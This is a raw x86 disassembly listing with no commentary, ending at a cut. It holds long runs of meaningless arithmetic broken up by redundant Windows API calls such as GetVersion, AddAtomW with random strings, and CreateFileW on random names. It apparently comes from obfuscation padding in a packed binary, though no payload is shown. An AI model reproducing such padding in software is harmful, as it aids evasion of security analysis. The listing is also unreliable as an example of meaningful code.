movsx edx, byte [0x100b71f7]
mov eax, dword [0x100b9b24]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100b9e78]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3814]
mov ax, word [edx]
mov word [ebp - 0x1490], ax
mov ecx, dword [0x100b94a4]
mov edx, dword [ecx]
or edx, dword [ebp - 0x40a8]
mov eax, dword [ebp - 0x3628]
mov dword [eax], edx
push 0x100ba4b4
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x2ee0]
mov dword [0x100ba7fc], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3878], eax
movzx edx, word [0x100b98bc]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba800], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3924], eax
lea eax, [ebp - 0x283]
mov dword [ebp - 0x4284], eax
mov ecx, dword [ebp - 0x3dcc]
movsx edx, byte [ecx]
mov eax, dword [0x100b99cc]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x3f28]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4288], eax
push 1
lea ecx, [ebp - 0x985c]
push ecx
mov edx, dword [ebp - 0x9870]
push edx
mov eax, dword [ebp - 0x9874]
push eax
mov ecx, dword [0x100b99a4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba804], eax
lea edx, [ebp - 0x768]
mov dword [0x100ba808], edx
movzx eax, word [0x100b72dc]
movzx ecx, word [0x100b9ccc]
xor eax, ecx
mov word [ebp - 0xc24], ax
mov edx, dword [ebp - 0x3f44]
mov eax, dword [ebp - 0x30e8]
sub eax, dword [edx]
mov dword [ebp - 0x2f30], eax
movsx edx, byte [0x100b713e]
movsx ecx, byte [ebp - 0x2ab]
shl edx, cl
mov eax, dword [0x100ba538]
mov byte [eax], dl
mov dword [ebp - 0x428c], 0x100b7efb
mov ecx, dword [ebp - 0x3028]
mov dword [ebp - 0x4290], ecx
mov edx, dword [ebp - 0x39d4]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1330]
add eax, ecx
mov word [0x100b7344], ax
movsx edx, word [0x100ba4e0]
movsx ecx, word [ebp - 0x1400]
sar edx, cl
mov word [ebp - 0xdfc], dx
lea eax, [ebp - 0x3f5c]
mov dword [ebp - 0x4294], eax
mov ecx, dword [0x100ba7d4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3690]
movsx ecx, byte [eax]
and edx, ecx
mov byte [0x100b721a], dl
mov edx, dword [ebp - 0x3ee0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1b2]
or eax, ecx
mov byte [ebp - 0x2c0], al
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9bb4], eax
mov dword [ebp - 0x4298], 0x100b9ccc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3ad0], eax
movzx edx, word [ebp - 0x1464]
movzx eax, word [ebp - 0xc48]
xor edx, eax
mov ecx, dword [0x100b9a2c]
mov word [ecx], dx
mov edx, dword [ebp - 0x416c]
mov eax, dword [ebp - 0x306c]
add eax, dword [edx]
mov dword [ebp - 0x3654], eax
movsx edx, word [ebp - 0x1160]
movsx ecx, word [ebp - 0xe90]
shl edx, cl
mov word [ebp - 0x1298], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100ba80c], eax
lea eax, [ebp - 0x2dd4]
mov dword [0x100ba810], eax
mov ecx, dword [ebp - 0x3b88]
mov dl, byte [ecx]
mov byte [ebp - 0x2c5], dl
mov al, byte [ebp - 0x27f]
mov byte [0x100b814e], al
mov ecx, dword [0x100ba6e4]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3c24]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x3ed0]
mov word [eax], dx
mov ecx, dword [0x100b94a4]
mov edx, dword [ebp - 0x3ff4]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x3058], eax
mov ecx, dword [ebp - 0x3ba0]
mov edx, dword [ebp - 0x3e04]
xor edx, dword [ecx]
mov dword [0x100b7208], edx
mov eax, dword [ebp - 0x3774]
movsx eax, word [eax]
cdq
mov ecx, 0x36d
idiv ecx
mov word [ebp - 0x1360], ax
movsx edx, byte [ebp - 0x1f8]
mov eax, dword [0x100b9724]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x2c], dl
lea edx, [ebp - 0x2f]
mov dword [0x100ba814], edx
movsx eax, byte [ebp - 0x12c]
mov ecx, dword [ebp - 0x371c]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x2b0], al
mov eax, dword [ebp - 0x3b78]
mov ecx, dword [eax]
mov dword [ebp - 0x429c], ecx
movzx edx, word [ebp - 0x1150]
movzx eax, word [ebp - 0x59c]
and edx, eax
mov word [0x100b7268], dx
mov ecx, dword [0x100b9c34]
mov dx, word [ecx]
mov word [ebp - 0x1494], dx
mov eax, dword [ebp - 0x3bc4]
mov ecx, dword [ebp - 0x3770]
mov edx, dword [eax]
imul edx, dword [ecx]
mov dword [ebp - 0x2ee0], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba818], eax
mov eax, dword [ebp - 0x390c]
mov cl, byte [eax]
mov byte [0x100b814f], cl
mov edx, dword [0x100ba48c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2b0]
sub eax, ecx
mov byte [ebp - 0xc9], al
lea edx, [ebp - 0x9dc0]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x100b99ec
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x4258]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100ba81c], eax
push 0x100a69c0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1498], ax
push 0x100ba4b4
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x2c60]
mov ecx, dword [ebp - 0x3058]
shl edx, cl
mov eax, dword [ebp - 0x38b0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3b04]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3c60]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [0x100ba0e0]
mov word [ecx], dx
mov edx, dword [ebp - 0x3ed8]
movsx eax, word [edx]
mov ecx, dword [0x100ba768]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x12dc], ax
push 0x8f0
push 0
lea eax, [ebp - 0x4070]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x375c], eax
lea ecx, [ebp - 0x5a8]
mov dword [ebp - 0x42a0], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba820], eax
mov dword [0x100ba824], 0x100b71af
movzx edx, word [0x100b9944]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x149c], ax
mov eax, dword [ebp - 0x34c0]
and eax, dword [ebp - 0x4004]
mov dword [ebp - 0x2d14], eax
mov dword [ebp - 0x42a4], 0x100b9f10
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x42a8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9bb4], eax
movsx ecx, byte [ebp - 0x73]
mov edx, dword [ebp - 0x3b88]
movsx eax, byte [edx]
xor ecx, eax
mov byte [0x100b7e3b], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba828], eax
movzx ecx, word [0x100ba1d0]
mov edx, dword [ebp - 0x3eb8]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x1100], cx
mov dword [ebp - 0x42ac], 0x100b9f50
movsx eax, byte [0x100b7f46]
cdq
mov ecx, 0x1d
idiv ecx
mov byte [0x100b7f8e], al
mov edx, dword [ebp - 0x39e0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x41]
shl eax, cl
mov byte [ebp - 0x256], al
lea ecx, [ebp - 0x2ef4]
mov dword [ebp - 0x42b0], ecx
mov dword [0x100ba82c], 0x100ba670
mov dword [ebp - 0x42b4], 0x100b71d6
movzx edx, word [ebp - 0x8f8]
mov eax, dword [ebp - 0x3e6c]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3a10]
mov word [ecx], dx
push 0x6d5
push 0x1078
push 0x1449
push 0x146d
mov edx, dword [ebp - 0x41f8]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x42b8], eax
movsx eax, word [0x100b9d34]
mov ecx, dword [ebp - 0x3988]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [0x100b9508]
mov word [ecx], ax
push str.P9vM_Wd_MYiRvJm7
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba830], ax
mov edx, dword [ebp - 0x3618]
movzx eax, byte [edx]
mov ecx, dword [0x100ba380]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x163], al
mov eax, dword [ebp - 0x3130]
xor eax, dword [0x100ba6c8]
mov ecx, dword [ebp - 0x3b98]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3c60]
movzx eax, word [edx]
movzx ecx, word [0x100b9d68]
xor eax, ecx
mov word [0x100b7348], ax
mov edx, dword [ebp - 0x3770]
mov eax, dword [edx]
mov dword [ebp - 0x42bc], eax
mov ecx, dword [ebp - 0x3b00]
movsx edx, byte [ecx]
movsx eax, byte [0x100b813b]
add edx, eax
mov ecx, dword [ebp - 0x3f8c]
mov byte [ecx], dl
movzx edx, word [ebp - 0x1424]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9944], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3878], eax
movsx eax, word [ebp - 0x730]
movsx ecx, word [ebp - 0x1474]
sub eax, ecx
mov word [0x100b94a0], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba834], eax
movzx edx, byte [ebp - 0x2ac]
movzx eax, byte [ebp - 0x2bf]
or edx, eax
mov ecx, dword [ebp - 0x3904]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3a14]
mov eax, dword [ebp - 0x327c]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x2db0], eax
mov ecx, dword [ebp - 0x371c]
movsx edx, byte [ecx]
mov eax, dword [0x100b998c]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b722b], dl
mov ecx, dword [ebp - 0x3dc0]
mov dx, word [ecx]
mov word [ebp - 0x14a0], dx
movzx eax, word [ebp - 0x1168]
movzx ecx, word [ebp - 0xdf0]
and eax, ecx
mov word [ebp - 0x1324], ax
mov edx, dword [0x100b9c38]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp - 0x31e0]
imul eax, dword [0x100b9540]
mov ecx, dword [0x100b96e4]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x42c0], eax
movsx edx, word [ebp - 0x730]
mov eax, dword [ebp - 0x3a94]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x670], dx
push 0
push 0x3784
push 0x28a7
push 0xf8f
push 2
mov edx, dword [0x100ba22c]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x3fc0], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x42c4], eax
mov al, byte [ebp - 0x2bc]
mov byte [ebp - 0x2c6], al
lea ecx, [ebp - 0x2b48]
mov dword [0x100ba838], ecx
push 0
push 0x400
push 2
push 0
push 8
push 0xc0000000
push str.ifPjA3CO6MhhgOjhlWw5YGKBNc
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba83c], eax
mov edx, dword [0x100b94dc]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x42c8], eax
movsx eax, byte [0x100b813b]
mov ecx, dword [ebp - 0x3f18]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x129], al
movzx eax, word [0x100b71ec]
mov ecx, dword [ebp - 0x3660]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x9e4], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba840], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3eac], eax
movzx edx, word [ebp - 0x834]
movzx ecx, word [ebp - 0x648]
shl edx, cl
mov eax, dword [0x100ba210]
mov word [eax], dx
mov ecx, dword [ebp - 0x3bb4]
movsx edx, byte [ecx]
mov eax, dword [0x100ba514]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x2c1], dl
lea edx, [ebp - 0x2c7c]
mov dword [0x100ba844], edx
lea eax, [ebp - 0x10a4]
mov dword [ebp - 0x42cc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x42d0], eax
mov ecx, dword [0x100b9a18]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [ebp - 0x42d4], 0x100b80e7
mov edx, dword [ebp - 0x37c0]
mov eax, dword [edx]
xor eax, dword [0x100ba664]
mov dword [0x100b72b4], eax
mov ecx, dword [ebp - 0x3818]
movzx eax, word [ecx]
cdq
mov ecx, 0xd81
idiv ecx
mov word [ebp - 0x130c], ax
mov edx, dword [0x100b9b18]
add edx, dword [ebp - 0x2f30]
mov dword [ebp - 0x2d38], edx
movzx eax, word [ebp - 0x11c4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba848], ax
mov dword [0x100ba84c], 0x100b72e0
push 0x100ba400
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x2ba4]
mov dword [ebp - 0x42d8], ecx
movzx edx, word [ebp - 0x1154]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba850], ax
mov eax, dword [ebp - 0x40e8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3c1c]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x3d], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x42dc], eax
mov ecx, dword [0x100ba714]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3d38]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b8093], dl
mov ecx, dword [ebp - 0x3e98]
mov dl, byte [ecx]
mov byte [ebp - 0x2c7], dl
mov dword [ebp - 0x42e0], 0x100b9dd4
mov dword [0x100ba854], 0x100b7192
mov eax, dword [ebp - 0x365c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x1308]
xor ecx, edx
mov word [ebp - 0x1180], cx
mov eax, dword [ebp - 0x3bdc]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x41d8]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xfd4], cx
mov ecx, dword [0x100ba074]
mov dword [0x100ba858], ecx
movsx edx, byte [ebp - 0x2a7]
movsx ecx, byte [ebp - 0x28]
shl edx, cl
mov byte [ebp - 0x69], dl
mov eax, dword [0x100b9f28]
mov ecx, dword [ebp - 0x4168]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x3160], edx
push str.70_KH5SCk_UYc5jo6
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x14a4], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba85c], eax
mov eax, dword [0x100ba3d8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4284]
movzx eax, byte [edx]
add ecx, eax
mov byte [0x100b71ae], cl
movzx ecx, word [ebp - 0x1204]
movzx edx, word [0x100b9668]
and ecx, edx
mov word [ebp - 0xc04], cx
movsx eax, word [ebp - 0x1160]
mov ecx, dword [ebp - 0x395c]
movsx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xe98], ax
lea edx, [ebp - 0xb074]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [0x100b7142]
mov ecx, dword [ebp - 0x36d0]
movsx edx, byte [ecx]
xor eax, edx
mov byte [0x100b71f7], al
mov eax, dword [0x100ba0e0]
mov cx, word [eax]
mov word [ebp - 0x14a8], cx
mov edx, dword [ebp - 0x3e14]
mov eax, dword [edx]
xor edx, edx
div dword [ebp - 0x3fdc]
mov ecx, dword [ebp - 0x385c]
mov dword [ecx], eax
push 0
lea edx, [ebp - 0x9874]
push edx
mov eax, dword [0x100ba864]
push eax
mov ecx, dword [0x100ba860]
push ecx
mov edx, dword [0x100b9670]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x42e4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b99a0], eax
lea eax, [ebp - 0x2c90]
mov dword [0x100ba868], eax
mov dword [ebp - 0x42e8], 0x100b7f3f
mov ecx, dword [ebp - 0x34ac]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0xed8]
shl edx, cl
mov word [ebp - 0x788], dx
movsx eax, byte [ebp - 0xf1]
mov ecx, dword [ebp - 0x3d20]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x100b7242], al
lea eax, [ebp - 0xca4]
mov dword [ebp - 0x42ec], eax
movzx ecx, word [ebp - 0x1174]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9848], ax
mov edx, dword [ebp - 0x3c6c]
mov eax, dword [edx]
and eax, dword [ebp - 0x2c90]
mov dword [ebp - 0x2d08], eax
mov ecx, dword [0x100b95f8]
mov edx, dword [ecx]
or edx, dword [ebp - 0x3804]
mov dword [0x100ba074], edx
mov eax, dword [0x100b9be4]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x3ee0]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x259], dl
lea ecx, [ebp - 0x9bb0]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba86c], eax
mov dword [ebp - 0x42f0], 0x100b80e2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x42f4], eax
lea edx, [ebp - 0xed8]
mov dword [0x100ba870], edx
mov eax, dword [0x100b9c68]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [ebp - 0x3d74]
movzx edx, word [ecx]
movzx eax, word [0x100b9984]
xor edx, eax
mov ecx, dword [ebp - 0x3808]
mov word [ecx], dx
mov edx, dword [ebp - 0x3d8c]
mov eax, dword [ebp - 0x3980]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3bd4]
mov dword [edx], ecx
movsx eax, byte [str.M_v_]
movsx ecx, byte [ebp - 0x2b2]
and eax, ecx
mov byte [0x100b7f8f], al
mov dl, byte [0x100b7dff]
mov byte [ebp - 0x2c8], dl
lea eax, [ebp - 0x9dd8]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea ecx, [ebp - 0x3804]
mov dword [ebp - 0x42f8], ecx
mov dx, word [ebp - 0xca4]
mov word [0x100ba874], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100ba878], eax
push 0x62b
push 0
lea eax, [ebp - 0x4174]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100ba170], eax
mov ecx, dword [ebp - 0x4148]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x38bc]
movsx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x418c]
mov word [eax], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x42fc], eax
push 0
push 0x400
push 0
push 0
push 4
push 0x80000000
push str.dIrW_vkqHA
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba87c], eax
mov ecx, dword [ebp - 0x3920]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100b9fb0], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba880], eax
push str.J3t4GWbMAgf
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x14ac], ax
mov edx, dword [0x100b98e0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3194]
shl eax, cl
mov dword [ebp - 0x3790], eax
mov ecx, dword [ebp - 0x38a4]
movsx edx, byte [ecx]
mov eax, dword [0x100b9ec0]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b7fd6], dl
mov edx, dword [ebp - 0x412c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x40e8]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x192], al
movzx eax, word [ebp - 0x1478]
movzx ecx, word [ebp - 0x1294]
sar eax, cl
mov word [ebp - 0x59c], ax
push 0
push 0x39c2
push 0xe63
push 0x3f86
push 1
mov ecx, dword [ebp - 0x40b4]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100ba884], eax
mov edx, dword [0x100b9c5c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3f20]
movzx edx, word [ecx]
add eax, edx
mov word [0x100b71f4], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3eac], eax
lea eax, [ebp - 0x3fdc]
mov dword [ebp - 0x4300], eax
movsx ecx, word [ebp - 0x1360]
mov edx, dword [0x100b96a8]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x3b0c]
mov word [edx], cx
mov eax, dword [ebp - 0x3a7c]
mov dword [0x100ba888], eax
mov cl, byte [0x100b71ef]
mov byte [ebp - 0x2c9], cl
mov edx, dword [ebp - 0x3d84]
movzx eax, byte [edx]
mov ecx, dword [0x100b9598]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b7243], al
push 0x1793
mov edx, dword [0x100ba86c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100ba88c], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4304], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4308], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9b14], eax
mov eax, dword [ebp - 0x35e4]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x12a0]
xor ecx, edx
mov eax, dword [ebp - 0x3830]
mov word [eax], cx
mov ecx, dword [ebp - 0x2afc]
add ecx, dword [ebp - 0x3744]
mov dword [ebp - 0x2f74], ecx
push str.EXjclduG_nxTHCUaATZ4_YJbu
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba890], ax
lea edx, [ebp - 0xaf30]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x3ef0]
mov ecx, dword [ebp - 0x3d24]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov dword [0x100b725c], edx
movsx eax, word [ebp - 0xa44]
movsx ecx, word [ebp - 0x1248]
or eax, ecx
mov edx, dword [ebp - 0x4224]
mov word [edx], ax
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x430c], eax
mov ecx, dword [ebp - 0x3de4]
movzx edx, byte [ecx]
movzx eax, byte [0x100b8082]
and edx, eax
mov byte [0x100b71ff], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9f7c], eax
mov ecx, dword [ebp - 0x3c9c]
movsx edx, byte [ecx]
movsx eax, byte [0x100b71eb]
imul edx, eax
mov ecx, dword [ebp - 0x41b8]
mov byte [ecx], dl
push 0x35e
mov edx, dword [ebp - 0x3e0c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x4310], eax
push 0
push 0x10
push 2
push 0
push 1
push 0x40000000
push str.b3rSYsDmhqwXVvN2IwMw
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba894], eax
mov eax, dword [ebp - 0x3e70]
mov dword [ebp - 0x4314], eax
lea ecx, [ebp - 0x1324]
mov dword [0x100ba898], ecx
mov edx, dword [ebp - 0x3f30]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100ba6ec], eax
push str.k_wCgaQUl_z4g.Y
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x14b0], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba89c], eax
mov eax, dword [ebp - 0x3e58]
movsx ecx, word [eax]
mov edx, dword [0x100ba61c]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3a78]
mov word [edx], cx
lea eax, [ebp - 0x326c]
mov dword [ebp - 0x4318], eax
mov dword [0x100ba8a0], 0x100b712e
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba160], eax
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x431c], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4320], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3c98], eax
mov edx, dword [ebp - 0x3e4c]
mov eax, dword [ebp - 0x2f30]
xor eax, dword [edx]
mov dword [ebp - 0x3d54], eax
movzx ecx, word [0x100b71f4]
movzx edx, word [ebp - 0xdf0]
sub ecx, edx
mov word [0x100ba598], cx
mov dword [ebp - 0x4324], 0x100b7220
mov eax, dword [ebp - 0x39a8]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x6f0]
shl edx, cl
mov word [ebp - 0x11dc], dx
mov dword [0x100ba8a4], 0x100b71ff
mov eax, dword [ebp - 0x42b0]
mov ecx, dword [ebp - 0x3fe0]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x3080], edx
push 1
lea eax, [ebp - 0x9874]
push eax
mov ecx, dword [ebp - 0x9800]
push ecx
mov edx, dword [ebp - 0x9804]
push edx
mov eax, dword [0x100ba118]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba8a8], eax
lea ecx, [ebp - 0x3160]
mov dword [ebp - 0x4328], ecx
mov edx, dword [ebp - 0x3bb8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3490]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [0x100b721b], al
mov edx, dword [ebp - 0x36e4]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1168]
and eax, ecx
mov word [ebp - 0xe6c], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba8ac], eax
lea edx, [ebp - 0x1278]
mov dword [ebp - 0x432c], edx
movsx eax, byte [ebp - 0x298]
movsx ecx, byte [0x100b8092]
imul eax, ecx
mov byte [0x100b7256], al
mov edx, dword [ebp - 0x3ee0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4044]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x3e34]
mov byte [ecx], al
mov dword [ebp - 0x4330], 0x100b72e8
push 0
lea edx, [ebp - 0x981c]
push edx
mov eax, dword [0x100b9814]
push eax
mov ecx, dword [0x100b9810]
push ecx
mov edx, dword [0x100ba16c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4334], eax
movzx eax, word [ebp - 0x14b0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba8b0], ax
mov ecx, dword [ebp - 0x3aa0]
mov eax, dword [ebp - 0x3d54]
cdq
idiv dword [ecx]
mov edx, dword [0x100ba2a0]
mov dword [edx], eax
lea eax, [ebp - 0x29c]
mov dword [ebp - 0x4338], eax
movzx eax, word [ebp - 0x11a8]
movzx ecx, word [ebp - 0x1100]
cdq
idiv ecx
mov word [ebp - 0x1334], ax
mov edx, dword [ebp - 0x370c]
mov ax, word [edx]
mov word [0x100ba8b4], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba8b8], eax
mov ecx, dword [ebp - 0x3ba8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x409c]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x3658]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x433c], eax
mov edx, dword [0x100b9b18]
mov ecx, dword [ebp - 0x2ad0]
shl edx, cl
mov dword [ebp - 0x2bb4], edx
mov eax, dword [ebp - 0x3898]
movzx ecx, word [eax]
movzx edx, word [0x100ba3f4]
and ecx, edx
mov word [0x100ba598], cx
mov eax, dword [ebp - 0x2ac0]
mov ecx, dword [ebp - 0x306c]
shr eax, cl
mov ecx, dword [ebp - 0x3e74]
mov dword [ecx], eax
mov dl, byte [ebp - 0x29c]
mov byte [ebp - 0x2ca], dl
push 0x1d75
push 0
lea eax, [ebp - 0x360c]
